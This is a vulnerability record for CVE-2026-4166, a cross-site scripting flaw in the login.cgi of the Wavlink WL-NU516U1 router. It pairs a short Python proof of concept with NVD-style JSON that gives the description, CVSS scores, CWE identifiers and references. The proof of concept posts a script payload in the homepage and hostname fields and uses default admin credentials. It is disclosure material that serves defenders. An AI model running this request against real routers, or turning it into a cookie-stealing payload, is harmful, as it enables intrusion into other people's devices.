CVE-2026-4166

import requests # CVE-2026-4166 PoC - XSS in Wavlink WL-NU516U1 login.cgi # Target: Wavlink WL-NU516U1 router # Vulnerability: XSS via homepage/hostname parameter in /cgi-bin/login.cgi target_url = "http://<target_ip>/cgi-bin/login.cgi" # Malicious payload - XSS injection xss_payload = "<script>alert(document.cookie)</script>" # Prepare the malicious request data = { "homepage": xss_payload, "hostname": xss_payload, # Add other required parameters "username": "admin", "password": "admin" } try: # Send the malicious request response = requests.post(target_url, data=data, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {xss_payload}") print(f"[*] Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-4166", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:55.890", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Wavlink WL-NU516U1 240425. The impacted element is the function sub_404F68 of the file /cgi-bin/login.cgi. The manipulation of the argument homepage/hostname results in cross site scripting. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure."}, {"lang": "es", "value": "Una vulnerabilidad fue encontrada en Wavlink WL-NU516U1 240425. El elemento impactado es la función sub_404F68 del archivo /cgi-bin/login.cgi. La manipulación del argumento homepage/hostname resulta en cross site scripting. El ataque puede ser lanzado remotamente. El exploit ha sido hecho público y podría ser usado. El proveedor fue contactado tempranamente sobre esta divulgación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/Litengzheng/vul_db/blob/main/WL-NU516U1/vul_14/README.md", "source": "[email protected]"}, {"url": "https://github.com/Litengzheng/vul_db/blob/main/WL-NU516U1/vul_15/README.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351073", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351073", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.769652", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.769653", "source": "[email protected]"}]}}